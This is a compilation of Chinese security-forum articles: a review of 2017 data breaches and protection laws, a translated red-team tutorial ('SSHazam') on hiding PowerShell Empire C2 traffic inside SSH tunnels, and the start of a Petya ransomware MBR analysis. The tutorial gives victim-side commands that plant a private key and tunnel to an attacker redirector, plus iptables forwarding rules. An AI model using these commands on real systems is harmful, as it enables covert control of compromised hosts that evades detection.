### （六） Hadoop服务器配置不当致使全球5120TB数据泄露
2017年6月，根据使用Shodan搜索引擎进行的分析结果发现，配置Hadoop分布式文件系统（HDFS，Hadoop应用程序使用的主要分布式存储）的近4500台服务器，已经暴露了超过5120TB（5.12PB）的数据。此次泄露事件也是出于一个相同的问题——基于HDFS的服务器（主要是Hadoop安装）缺乏安全配置。作为此次泄露事件的主角，大多的HDFS服务器主要位于美国（1900台）和中国（1426台），其次是德国（129台）和韩国（115台）。中国也受到巨大的影响。
### （七） 微软官方确认部分Windows 10源码被泄露 容量大约1.2GB
2017年6月，微软Windows 10源代码的一部分被泄露到了追踪Windows版本的爱好者网站Beta Archive上，微软在经过调查后向外媒The
Verge确认，确实有来自共享源计划源代码的一部分被泄露，这些代码主要提供给OEM合作伙伴使用。此前有消息称大约32TB的数据被泄露，但实际上此次泄露的规模相对较小，大约1.2GB。此次泄露的源码内容涉及Windows
10 Mobile Adaption Kit、部分Windows 10 Creators以及ARM Windows 10版本的代码。
### （八） Google网上论坛配置错误导致数百家企业机密数据在线曝光
2017年7月，安全公司 RedLock 研究人员发现 Google Groups 在线服务出现配置错误，导致 IBM’s Weather
Company、Fusion Media Group、协助桌面支持服务提供商 Freshworks 与视频广告平台 SpotX
等数百家企业机密数据在线曝光。RedLock
研究人员发现，此次事件致使受害企业员工电子邮件地址与内容，以及员工薪酬补偿、销售渠道数据、客户密码、姓名与家庭地址等个人身份信息在线泄露，可供全球用户任意查看。
值得深思的是，引发这起数据泄露事件并非安全漏洞，仅是 Google Groups
功能设置不当。但这一事件表明，任何一次操作疏忽都将对企业产生毁灭性影响，一旦网络犯罪分子获取这些企业信息，就可用来劫持企业帐户、开展网络钓鱼攻击以及在线泄露敏感谈话内容等。
### （九） 瑞典大型网络托管公司遭黑客“拖库”，其数十万客户受影响
2017年8月，瑞典大型网站托管公司Loopia遭黑客“拖库”，客户数据外泄。Loopia发表声明称，攻击发生在8月22日，黑客访问了部分客户数据库，包括Loopia
Kundzon的个人资料、联系信息和加密（哈希）密码。Loopia信用卡等支付信息未泄露，客户的托管网站和电子邮件服务未遭受攻击。为了进一步确保安全，该公司修改了所有客户的账户号和密码，并通知了客户，建议重置系统密码并更新个人信息。
### （十） 微软储存内部漏洞的秘密数据库 4 年前就被黑客偷走
2017年10月，5名微软前员工透露，微软储存自家软件内部漏洞的秘密数据库早在4年以前就被一伙组织严密的黑客盗走，数据库包含了一批世界范围内使用的软件的关键未修复漏洞，包括
Windows 操作系统。
在知晓此次攻击后，微软曾发动调查，并没有发现利用该数据库信息进行攻击的行为。5
名前员工对上述调查结果持不同意见，两名员工认可了这一结论，另外三名员工认为，调查样本太少，不足以支持该结论。在此次事件发生后，微软将这一数据库从公司网络中隔离，并且需要通过两步验证措施才能访问。
### （十一） Imgur承认2014年遭黑客攻击，170万账号信息被窃取
2017年11月，全球知名图片分享网站 Imgur 对外承认，2014 年该网站曾经受到黑客攻击，170
万包含邮箱地址和密码的账户信息被窃取。Imgur表示，由于网站并不需要用户提交真实姓名、地址或者手机号码，因此被窃取的信息中并不包含私人信息。
## 医疗卫生机构重大信息泄露事件
### （一） 问题综述
医疗卫生行业的信息泄露一般可以分为病患信息泄露和医院信息泄露两个方面。而这两方面的信息泄露事件，在2017年均有发生。特别让人担忧的是，病患信息属于极其敏感的个人信息，知名人士病患信息的泄露甚至可能引发社会不按。
### （二） 黑客入侵英国顶级整形医院数据库：盗取大量私照
2017年10月，据Daily Beast网站报道，黑客组织Dark Overlord宣称他们攻入了全球知名整形美容医院London Bridge
Plastic Surgery (LBPS)
的数据库，获取了大量的隐秘信息。这些资料中包含有病人的名字、住址等信息，更关键的是还有很多生殖整形、丰胸等手术的私照，其中除了普通人，还有英皇室成员和明星艺人，容量高达TB级。
### （三） 黑客窃取数千名医院工作人员的个人数据
2017年3月，黑客窃取了数千名NHS（National Health
Service，即英国国家医疗服务体系）医疗专业人员的信息，这是通过入侵其私营承包商的服务器来实现的。网络攻击者渗透到由IT供应商Landauer运营的数据服务器中，窃取了数千名医疗工作人员的姓名，出生日期，辐射剂量和国家保险人数等信息。
英国加的夫的Velindre NHS
Trust通过Velindre癌症中心为威尔士各地的卫生局提供辐射检查服务。在发给ZDNet的一封电子邮件中，该信托机构证实，自己的员工中有530人受到了此次攻击事件的影响，并已联系到所有相关人员。
## 教育机构重大信息泄露时间
### （一） 英国学生化身黑客窃取考试答案，分数太高被发现
2017年2月，就读于位于英国埃尔市的一所高中学校的五名学生，在考试前他们通过黑客手段窃取了老师邮箱的用户名和密码，进入邮箱拿到了数学考试的答案。之后几名学生对着这份答案“潜心苦读”，最终交上了一份“近乎完美”的答卷。但老师在阅卷时发现了这几份试卷存在异常，所得分数与这几名学生的平时水平不符。随后学校和老师对此事展开了调查，将几名“黑客”抓获。
### （二） 罗格斯大学遭遇数据安全事件 1.7万学生信息意外在线暴露
2017年12月，美国罗格斯大学的官员证实，1700名罗格斯学生的学术信息在2017年11月8日和9日的数据安全事件中遭到了在线暴露。
罗格斯大学发言人Neal Buccino强调，暴露的数据不包括任何人的社会安全号码（Social Security
number，SSN）、家庭住址或财务信息。
Buccino解释说，暴露的数据来自计算机科学生的学术资料，包括Rutgers ID号码、GPA和2018年春季课程表。
Buccino说，此次事件的发生来源于管理失误，罗格斯大学目前正在更新相关的安全策略，以确保此类事件不会再发生。
## 传媒机构重大信息泄露事件
### （一） 问题综述
2017年发生的，国外传媒机构重大信息泄露事件大多与黑客攻击有关，也有个别情况是由于运维不当造成的。媒体机构泄露信息的内容也是多种多样。有的是泄露了用户信息，有的是泄露了商业机密，有的则是泄露了尚未发布的内容资源——这对于专门从事影视或内容制作的传媒机构来说是致命的。
值得一提的是，由于媒体或多或少的会存在一定的政治属性，所以，在针对媒体的网络攻击中，不能忽视政治因素。
### （二） 黑客通过麦克风窃取乌克兰70目标超600G数据
2017年2月，工业网络安全公司CyberX发现了一个大规模的网络攻击行动，该行动瞄准了乌克兰的很多目标，至少已经成功入侵了70个目标，涉及到关键基础设施、媒体和科学研究机构。该行动的目的是捕捉目标中的一系列敏感信息，包括对话录音、屏幕截图、文件和密码。由于它能偷偷摸摸的在目标系统中植入窃听程序，窃取敏感音频，并使用Dropbox来存储偷取的数据，因此CyberX将它命名为“Operation
BugDrop”。
### （三） 《华尔街日报》母公司道琼斯220万客户信息外泄
7月19日讯，网络安全公司UpGuard的网络风险小组发布报告指出，由世界一流的商业财经信息提供商、新闻媒体出版集团道琼斯公司持有的一套云文件存储库存在配置错误，且其中包含的来自数百万家企业客户的个人及财务敏感信息以半公开形式接受网络访问。尽管道琼斯方面证实至少有220万客户受到影响，但根据UpGuard方面的计算，受影响客户量可能接近400万。
此次泄露的数据包括《华尔街日报》以及《巴伦周刊》在内的各道琼斯公司出版物的数百万名订阅者的姓名、地址、帐户信息、电子邮件地址以及信用卡后四位号码。另外，此次一同被暴露在云端的还有“道琼斯风险与合规”系列数据库当中的160万条记录，这些数据库属于一个仅供企业订阅的情报项目，用以帮助各金融机构遵循法规以打击洗钱活动。
### （四） HBO安全承包商：黑客盗走了上千份公司内部文件
据外媒报道，2017年8月，受雇于HBO的安全公司IP
Echelon表示，HBO遭遇了网络攻击，黑客偷走了这家公司上千份内部文件。截止到目前为止，黑客已经公布了《投手》、《104号房间》的剧集内容、《权力的游戏》的剧本以及两集要等到明年才会播出的喜剧剧集《巴里(Barry)》。
另外，黑客似乎还泄露了一名高管的个人信息，其以文本文件的形式公布在了网上，里边包含了数十个网络账号登录信息。在这些账号中，至少有一个可以让黑客获取该名高管的工作邮箱。实际上，黑客已经承认他们拥有访问HBO关键网络基础设施的权限并且从中盗走了1.5TB的数据，未来他们将可能将这些信息公布到网上。
## 旅行、酒店及餐饮业的重大信息泄露事件
### （一） 问题综述
2017年， 针对旅行社、酒店及餐饮行业的网络攻击也频繁发生。这些攻击主要有以下几个明显的特点：
* 针对终端刷卡设备，特别是POS机的恶意程序攻击，已经成为一种盗取信用卡信息、进而盗刷用户信用卡的主要手段之一。相关技术手段已经十分成熟。
* 旅行、酒店及餐饮等机构普遍缺乏必要的网络安全管理措施，服务器系统极易遭到入侵和破坏。
* 相比于其他行业机构的信息泄露，旅行、酒店及餐饮行业的信息泄露包括大量的用户生活、出行等隐私信息。
### （二） ABTA网站遭到黑客攻击，4.3万人受到违规影响
2017年3月，ABTA（英国旅行社协会，Association of British Travel
Agents）首席执行官马克·坦泽表示，“外部渗透者”使用公司网络服务器中的一个漏洞来访问其成员和一些成员客户提供的数据。该时间可能已经影响了43,000个人。大约1000个访问的文件可能包括与ABTA成员的客户有关的个人身份信息，这些信息是为了支持他们对ABTA成员的投诉而提交的。这些档案涉及2017年1月11日之后上传至ABTA的投诉。
### （三） 洲际酒店集团二度遭遇信用卡数据泄露，超过1000家酒店受影响
2017年4月，洲际酒店集团公布，该集团旗下逾1000家酒店遭遇信用卡数据泄露。客户在受影响酒店进行信用卡支付后，该恶意程序从信用卡磁条中读取记录数据，包括信用卡号码、有效期、内部验证码，有些情况下还包括持卡人姓名。酒店表示其他信息并未受到影响。
这是洲际酒店第二次发生信用卡数据泄露。今年早些时候，集团曾告知其客户，2016年8月至12月在美国12家IHG酒店的餐厅及酒吧使用的信用卡数据遭泄露。当时受影响的酒店包括旧金山洲际酒店、阿鲁巴岛假日酒店、芝加哥华丽一英里洲际酒店等。
### （四） 近40家Shoney’s餐厅信用卡信息泄露
2017年4月，Best American Hospitality
Copr（BAHC）公司收到一份报告，这份报告指出网络犯罪团伙通过在其PoS系统上植入恶意软件，成功窃取了近40家Shoney’s餐厅的信用卡数据——Shoney’s是位于田纳西州的全美家庭式餐厅。
BAHC聘请Kroll Cyber
Security安全公司来调查这起事件。这家安全公司证实，黑客在数十家Shoney’s餐厅的支付处理系统上均远程安装了恶意软件，恶意软件感染设备后，它的主要目的是窃取持卡人的姓名，卡号，到期日期和内部验证码等数据。调查显示，一些受影响的餐厅是在2016年12月27日遭遇数据泄露的，而其他受影响的地点则于2017年1月11日首次遭遇数据泄露。
### （五） 必胜客官网遭入侵，支付卡信息可能泄露
2017年10月，美国必胜客通知其顾客，由于网站遭到临时入侵，他们的支付卡信息和联系信息可能被盗。黑客在2017年10月1日至10月2日之间进入该网站，总共约28小时。在此期间，使用必胜客网站或移动应用预订订单的用户可能会受到影响。这一漏洞很快被发现并得到了解决，估计在此期间不到
1%的网站访问受到影响，美国大约有6万人受到了这一事件的影响。其外部网络安全顾问确定攻击者可能已经获得了诸如姓名、账单、邮政编码、送货地址、电子邮件地址和支付卡等信息，包括卡号、有效期和
CVV。
### （六） 凯悦酒店被黑客攻击，中国18家住客信息再遭泄露
据《北京商报》报道，10月17日，全球11个国家的41家凯悦酒店支付系统被黑客入侵，大量数据外泄，包括住客支付卡姓名、卡号、到期日期和验证码。据报道，国内共有18家凯悦酒店受到影响，是这次事件中受影响最大、数量最多的国家。
调查显示，这些未经授权访问的客户支付卡数据，是从3月18日至7月2日之间的在一些凯悦管理地点的前台，通过手工方式输入或刷卡的。导致这次事件的原因，就是来自第三方含有恶意软件代码的卡片。黑客通过卡片上的恶意代码，入侵到酒店IT系统，通过酒店管理系统的漏洞，获取数据库的访问权限，提取与解密后，获得用户的私人信息。
## 其他重大信息泄露事件
### （一） 美国52GB个人身份信息泄露
2017年3月，网络安全专家兼微软区域主管Troy Hunt在[博客](https://www.troyhunt.com/weve-lost-control-of-our-personal-data-including-33m-netprospex-records/)上披露了他收到的一份多达52GB的数据库资料，内容包含近3400万美国人的个人身份信息，数据的来源是世界商业信息服务公司巨头邓白氏（Dun&Bradstreet）。
泄露的数据中不仅包含普通公民的姓名、职称、职能、工作邮件、电话号码、工作单位的盈利情况，员工数量等信息，还包含了超过10万条的美国国防部的人员资料，其中有各种职务信息超过1万条，如职业军人，情报分析人员，弹药专家，化学工程师等。紧随其后的国家部门是美国邮政系统，有超过88000条员工记录，然后是美国陆军，空军和退伍军人事务部共计76000条左右记录。
### （二） 英国移动运营商Three再曝客户数据泄露事件
2017年，媒体报道的国外电信运行商的重大信息泄露事件并不多。其中，英国最大移动运营商Three的数据泄露风波最为引人关注。
2017年3月，英国移动运营商Three客户数据再次被泄，这次是因技术问题导致客户的个人信息被泄。某些登录客户能查看其它用户的个人数据（姓名、地址和电话号码）和通话记录，但是未泄露任何财务数据。这并不是Three首次因数据泄露博得“头条”。2016年11月，Three证实遭遇大型网络安全事件，近13.3万用户的个人数据被泄。
### （三） 枪支零售商气枪GI的论坛被黑客入侵；65,000个用户帐户泄露
[2017年2月，](https://www.hackread.com/gun-retailer-airsoft-gi-forums-hacked/)黑客声称已经入侵了枪支零售商Airsoft
GI的官方网络论坛，并在今天早些时候上传了[Dropbox的](https://www.hackread.com/tag/Dropbox/)数据。该论坛在2017年1月被黑客入侵，泄露数据首先被数据挖掘公司[Hacked-DB](https://www.hacked-db.com/)发现，他们发现被盗的用户账户总数是70,000，但经过深入的扫描发现5000个账户是重复的，被盗账户的确切数目是65215。被盗的数据包括注册用户的个人信息，例如用户名，电子邮件账号，IP地址和密码bcrypt，Blowfish。在这些数据中，有40,521个Gmail账户，3,261个雅虎账户，2,760个Outlook和2,760个Hotmail账户。唯一IP地址总数为17,364。
### （四） 墨尔本国际射击俱乐部数据库被黑，超1500支枪械信息被泄露
2017年11月，根据澳大利亚墨尔本警方的调查，有黑客在本月攻破了墨尔本国际射击俱乐部的数据库，其中包括超过1500支半自动手枪的信息记录，它们分属于540名俱乐部会员。数据具体记录了每位会员姓名、家庭住址、联系方式以及拥有的枪械数量、类型和存放地点。
警方担心的问题并不是数据库被黑这件事本身，而是这些枪械持有者的人生安全。因为这种案例很多，尤其是在农场和其他偏远地区，很多枪械持有者都遭遇过抢劫。更可怕的是，这些受害者往往是在射击俱乐部或其他地方进行过登记，相反，没有登记过的人反而很少会遭遇此类事件。
### （五） 美国安全公司客户敏感文件泄露：多家财富1000强公司受影响
2017年8月，信息安全公司DirectDefense发布博文声称在美国安全公司Carbon Black提供的端点检测和响应 (EDR)
解决方案中发现一个重大问题，后者泄露了客户数万份敏感文件。泄露的客户数据包括云密钥、应用商店密钥、凭证以及其它敏感商业机密。造成这种结果的原因是Carbon
Black公司对第三方多频扫描器服务的依赖。
DirectDefense公司声称，当这款工具在客户计算机上发现了之前从未见到过的新文件，就会首先将文件上传至Carbon
Black服务器，然后将文件副本转发到谷歌的VirusTotal多频扫描服务来检测文件是否是恶意的。
### （六） 犯罪分子花40多万元购买个人信息实施诈骗
2017年2月9日晚，绍兴市公安局越城分局城南派出所接到公民虞某报案称，虞某当晚收到好友王某的一条信息，王某购买一件价值1922元的商品，因手机支付不成功，请虞某帮忙代付。虞某通过手机为好友支付货款后，对方再次要求付款，她疑心被骗因而报案。结果证明，王某的账号被盗，有人冒充王某对其好友实施诈骗。
警方在哈尔滨抓获这个利用社交软件冒充好友实施代付诈骗的犯罪团伙。在这个团伙的电脑中，绍兴警方发现大量公民个人信息。“信息最多的一台电脑中有300多GB的个人信息，包括多个邮箱、社交软件的账号和密码，而且都很准确。”据犯罪嫌疑人交代，这些信息是他以一组2元左右的价格，共花40多万元从吴某等人手中买来的。而吴某手中的信息则来自一个黑客犯罪团伙，该团伙利用超级SQL注入工具、网站漏洞扫描软件，批量扫描网站程序漏洞，非法获取网站后台用户注册数据。
### （七） 工控安全事件：6000多台Lantronix设备密码已经泄露
2017年12月美国NewSky Security 安全公司近期发现6460多台装备了Lantronix公司生产的网络设备发生了 Telnet
密码被泄露的事故。根据安全研究人员的分析，如果这些Telnet 密码被攻击者得到，他们就可以借此针对连接的设备发动大规模网络攻击。
另外，研究人员在Metasploit渗透测试论坛上发现了一个 Lantronix 的“Telnet密码恢复”
模块，该模块可以通过配置端口（30718/udp，默认在Lantronix设备的旧版本上启用），检索从 Lantronix
串口到以太网设备所记录的全部安装设置，并以明文方式提取Telnet密码。经过分析，此次问题就出在这些老旧设备无法更新并运行新发布的升级补丁。
## 关于信息数据保护的政策、法规与技术
本章主要分析2017年国内外针对信息泄露问题出台的一些政策、法规，以及市场上出现的一些典型保护数据安全的技术案例。
### 中国《网络安全法》规范数据保护，并对信息泄露事件追责
近几年，中国非常重视网络数据的保护，并出台了相关法规，对非法泄露数据、危害数据安全的行为予以严惩。事实上2012年12月全国人大就出台《关于加强网络信息保护的决定》。2017年6月1日正式实施的《网络安全法》，专门列出了“第四章
网络信息安全”，对政企机构收集、使用和保护个人信息，防止信息泄露提出了一系列的要求。
根据网络安全法第四十二条规定：
网络运营者不得泄露、篡改、毁损其收集的个人信息；未经被收集者同意，不得向他人提供个人信息。但是，经过处理无法识别特定个人且不能复原的除外。
网络运营者应当采取技术措施和其他必要措施，确保其收集的个人信息安全，防止信息泄露、毁损、丢失。在发生或者可能发生个人信息泄露、毁损、丢失的情况时，应当立即采取补救措施，按照规定及时告知用户并向有关主管部门报告。
也就是说，保护系统中存储的个人信息，是网络运营者的法定义务。如果网络运营者因运维不利而造成个人信息泄露的，必须承担法律责任。
除了运营者责任角度，《网络安全法》第27条还从威慑不法分子角度规定，任何个人不得从事非法侵入他人网络、窃取网络数据等危害网络安全的活动。
另外，从促进安全技术创新角度，《网络安全法》第18条规定国家鼓励开发网络数据安全保护和利用技术，促进公共数据资源开放。
因此，从我国相关法律政策可以看出，遏制信息泄露，至少需要规范运营者义务、打击危害数据安全的不法分子，以及促进数据保护的技术开发与利用。
### 国外政府对信息泄露事件处置的新法规
下面我们再来介绍两个国外政府在2017年颁布的，与防止信息泄露相关法律法规。相关信息介绍主要来自网络媒体。
#### （一） 澳大利亚着手出台《数据泄露通报制度》
2017年3月，澳大利亚的2017年隐私权修正（数据泄露通报）法案标志着信息安全立法的一大里程碑。同时，澳大利亚正着手出台《数据泄露通报制度》，以尽可能的减少数据泄露事件给公民和机构带来的不利影响。
截至目前，包括澳大利亚在内的全球约90个国家已出台了信息安全相关法律法规，而其严格程度、执行方式以及处罚力度亦各不相同。目前美国约47个州拥有自己的安全违规通报法，尽管尚未在国家层面引入统一的法律要求。但大多数数据泄露事件仍然未被及时发现与报告。
#### （二） 新加坡立法严格限制企业使用国民身份证权限，以防个人信息盗窃
11 月 8 日消息，新加坡个人数据保护委员会（PDPC）正在修订国家
“个人数据保护法案”（PDPA）指导方针，意在严格限制企业使用国民身份证（NRIC）权限，以防各组织或个人信息被用于盗窃、欺诈等非法活动。与此同时，该国还提出一项新安全法案，希望能够削减官僚作风、缓解各政府公共部门的数据共享问题。
知情人士透露，新加坡国家管理人员将于新法案正式通过后敦促所有公共机构与部委统一遵守规则，并授权公务员进行集体指导与监督。另外，新法案不仅要求政府机构只能在
“数据共享法案” 允许范围内共享数据，还制定了公民安全保障措施，以防任何数据遭到滥用。例如，在没有国家政府指示的情况下访问或披露用户数据，或将被判处高达
5000 新元的罚款或最高两年的监禁。
### 快递行业对于隐私面单的探索实践
“隐私面单”是2017年国内快递企业开始尝试使用的一种新型用户个人信息保护技术。
所谓的“隐私面单”，是指面单上并不完整显示收件人的信息，而是通过技术手段将用户的手机号、姓名和地址等信息做加密处理，快递员通过公司自主研发的APP，直接拨号联系到收件用户，从而尽可能的保护用户的个人信息不在快递寄送过程中被非法窃取。
2016年末，京东就已开始试行“微笑面单”，包裹生成时用技术手段部分隐藏用户的姓名（只显示姓）和手机号(中间四位隐藏)信息，以萌萌的笑脸代替，以达到保护用户隐私的作用。
2017年年初，圆通速递在国家邮政局发展研究中心指导下率先研发推出“隐形面单”，客户可根据需求自由选择是否使用该项服务，但仅限于电子面单用户。
2017年5月，顺丰开始试点丰密运单。阿里旗下物流数据平台菜鸟网络，也于2017年5月中旬联手EMS、百世快递、中通快递、申通快递等，共同推动使用“隐私面单”，将面单上用户电话号码的中间四位用符号*代替。
不过，有媒体记者调研发现，隐私面单目前的使用占比并不高。相对来说，顺丰快递的隐私面单数量较多，不过占比也没有超过一半。总体而言，国内隐私面单的普及率仅20%。
造成隐私面单使用率不高的主要原因有两个方面：一是很多普通用户还不知道快递公司可以提供这样的服务；二是隐私面单对于某些用户群体来说，使用起来还是不太方便。不过，这一积极的尝试，对于电子商务和物流产业高度发达的中国来说，还是非常有益的一步。 | 社区文章 |
# SSHazam：如何利用SSH隧道实现隐蔽C2通信
|
##### 译文声明
本文是翻译文章，文章原作者 blackhillsinfosec，文章来源：blackhillsinfosec.com
原文地址：<https://www.blackhillsinfosec.com/sshazam-hide-your-c2-inside-of-ssh/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
我们可以使用SSHazam在标准的SSH隧道中运行各种C2工具，避免网络行为被检测。在本文中，我们以PowerShell
Empire为例，连接至受害主机上的某个localhost端口。本地端口通过SSH连接转发至远程Empire服务器，因此环境中只能看到SSH网络通信流量。受害主机搭载OS
X系统，但我们也可以在Windows上使用`Plink.exe`（[Putty工具集](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)中的一款工具）来使用这种技术。
## 二、搭建隧道
如上图所示，受害主机系统上的SSH隧道正在`5430`端口上监听，会将收到的所有数据转发至Empire服务器（`empire-server`）。Empire服务器在localhost的同一端口上（`127.0.0.1:5430`）监听Empire入站连接。为了让SSH流量更加隐蔽，我们的SSH服务器在`443`端口上监听（而非标准的`22`端口）。记得修改SSH配置文件中的监听端口，此外也要修改与服务商的防火墙规则，放行该端口上的流量。
在建立隧道之前，我们需要在受害主机系统上创建或者复制一个私钥，并将对应的公钥添加到Empire服务器上的`authorized_keys`文件中，以便成功建立SSH连接。在本文案例中，受害主机上的私钥文件路径为`~/.ssh/.do.key`。我们可以在命令行中输入如下命令完成这些操作（这里省略了部分数据，记得补全）：
mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key
为了避免其他人访问私钥，在Empire服务器上执行其他操作，我们可以适当更改配置。我们可以编辑`/etc/passwd`，将登录shell修改为`/bin/false`。
victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false
现在我们可以开始配置PowerShell Empire或者自己的C2在`127.0.0.1:5430`上监听，即使我们使用了类似域前置（domain
fronting）之类的复杂配置，也能使用这种技术。
就这么简单，我们所有的C2流量已经可以隐藏在加密SSH隧道内部，无需担心C2流量触发基于网络特征的检测机制。
## 三、本地化方案
这种技术非常简单，便于使用，可能在容易触发警报的场景中顺利获得C2会话。然而我们可能不希望将客户的敏感数据托管在不属于我们的云端上。在这种情况下，我们需要创建其他重定向节点，将云端流量重定向到自己网络中的某个系统。这种操作更为复杂，但无需担心，解决方案如下所示：
C2连接通过SSH隧道转发至`empire-redirector`，而`empire-redirector`上的防火墙规则将流量转发至另一个中间转发节点（`redirector`）。最后，我们自己的系统（`in-house`）将与最终的转发节点建立一个反向SSH连接，准备接收Empire C2会话。
在受害主机上运行的SSH命令如下所示：
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:127.0.0.1:5431
在`in-house`这个可靠系统上运行的SSH命令如下所示：
autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 [email protected]
我们首先需要安装`autossh`，这一步非常重要，可以保证隧道能保持长时间运行。
`empire-redirector`上的IP Table规则如下：
iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1
以上规则可以将`5430`到`65535`端口上的流量转发至最终的转发节点上，因此我们可以在这个范围内，为每个受害者分配独立的端口。
`redirector`上的IP Table规则如下所示：
sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433
以上操作虽然有点复杂，但可以满足我们的需求，无需将敏感数据存放在云端上。
此外，当SSH建连成功时，我们还想通过slack获得事件通知。我们可以在`empire-redirector`上的`/etc/pam.d/sshd`文件中添加如下内容，这样每当SSH成功建连时，就会运行我们的slack通知脚本。
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session optional pam_exec.so /home/root/ssh-slack-alert.sh
我所使用的slack通知脚本如下所示：
#!/usr/bin/env bash
if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"
curl -X POST \
--data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi
注意，在这个较为复杂的场景中，每次只能允许一个受害者连接，除非每个受害者在`empire-redirector`上使用的都是不同的端口，并且使用了单独的私钥。这一点比较烦人，但在针对性较高的鱼叉式钓鱼攻击场景中效果很好。 | 社区文章 |
# 【病毒分析】Petya变种勒索蠕虫启动代码分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**作者：360天眼实验室**
**背景**
****
继5月的WannaCry勒索蠕虫事件以后，2017年6月又出现了Petya变种勒索蠕虫，除了利用永恒之蓝漏洞和加密勒索以后，Petya变种与WannaCry有比较大的差别。WannaCry会加密机器上的文件，导致数据损毁，而Petya更为激进，它会加密系统的MBR直接导致机器无法启动，本文对其执行的MBR及文件系统的加密机制做详细的分析。
**恶意代码分析**
****
由于执行恶意操作的指令并不是以文件形式存在，我们使用WinHex工具提取受攻击机器的磁盘前23个扇区的数据进行分析，对应代码数据的Hash为
841e12729f200a5620859f2958e2d484。
**相关数据结构**
计算机启动时执行完BIOS的启动代码，检查各硬件设备正常后，JMP到MBR的引导代码进行执行；然后由MBR引导至活动分区的DBR，再由DBR引导操作系统。如：DBR调用NTLDR，再由NTLDR调用系统内核。
Petya病毒修改了系统的MBR，病毒在Bios加载后获得执行机会，病毒将加载存储在0x1扇区后的大小为0x20大小的病毒代码加载执行，这些代码会还原出真实的MBR，通过对还原出来的MBR解析，得到系统的DBR，通过DBR解析到系统的MFT结构，遍历所有的MFT，根据MFT找到文件内容所在的扇区后，读取该扇区加密内容后再写回到扇区中，从而实现对文件的加密。要完整的了解整个的加密过程，首先就是熟悉系统的MBR、DBR、MFT等结构的含义与功能。
MBR
Petya病毒修改了系统的MBR，病毒在Bios加载后获得执行机会，病毒将加载存储在0x1扇区后的大小为0x20大小的病毒代码加载执行，这些代码会还原出真实的MBR。在加密文件的过程中，Petya病毒会使用到MBR中。
MBR扇区由以下四部分组成：
引导代码：引导代码占MBR分区的前440字节，负责整个系统启动。如果引导代码被破坏，系统将无法启动。
Windows磁盘签名：占引导代码后面的4字节，是Windows初始化磁盘写入的磁盘标签，如果此标签被破坏，则系统会提示“初始化磁盘”。
MBR分区表：占Windows磁盘标签后面的64个字节，是整个硬盘的分区表。
MBR结束标志：占MBR扇区最后2个字节，一直为“55 AA”。
MBR结构如下：
;====================================================================
; 主引导记录(MBR)结构
;====================================================================
typedef struct _MASTER_BOOT_RECORD
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
}MASTER_BOOT_RECORD,*PMASTER_BOOT_RECORD;
;
;====================================================================
;====================================================================
; 分区表项结构(16字节)
;====================================================================
;
typedef struct _PARTITION_ENTRY
{
UCHAR BootIndicator; // 能否启动标志
UCHAR StartHead; // 该分区起始磁头号
UCHAR StartSector; // 起始柱面号高2位：6位起始扇区号
UCHAR StartCylinder; // 起始柱面号低8位
UCHAR PartitionType; // 分区类型
UCHAR EndHead; // 该分区终止磁头号
UCHAR EndSector; // 终止柱面号高2位：6位终止扇区号
UCHAR EndCylinder; // 终止柱面号低8位
ULONG StartLBA; // 起始扇区号
ULONG TotalSector; // 分区尺寸（总扇区数）
}PARTITION_ENTRY,*PPARTITION_ENTRY;
对于其中的PartitionType 字段，Windows下可识别的分区类型主要有：
0x07 表示普通分区(Windows分区、数据分区。默认分区类型)。
0xEE 表示该分区表是PMBR，紧随其后的应该是GPT分区表头和GPT分区表，因此这是一块GPT硬盘。
0xEF 表示EFI系统分区
Petya在解密出原始的MBR后，解析MBR结构，得到起始扇区号，并根据起始扇区定位到DBR。
病毒解析MBR时，会对分区类型做判断，如果PMBR和EFI类型的系统分区，默认会不做处理。
在010editor工具中查看
判断分区类型，取了这两个字段：开始扇区与扇区大小：
在启动扇区（也就是63扇区）处，读一个扇区的内容，就是DBR结构
从MBR中可以定位到MBR分区表,根据分区表的属性就可以得到活动分区的扇区地址，也就得到了DBR结构地址。
**DBR**
DBR中存放着关于文件系统的重要参数信息以及系统引导代码。病毒解析到DBR后，只是为了取的DBR结构中的MftStartLcn字段(这个字段表明了MFT结构所在的扇区地址)，以便能进一步定位文件系统。
DBR的结构如下：
1. ////////////////////////////////////////////////////////////////////////////
2. //
3. // NTFS 的DBR 数据结构
4. //
5. ////////////////////////////////////////////////////////////////////////////
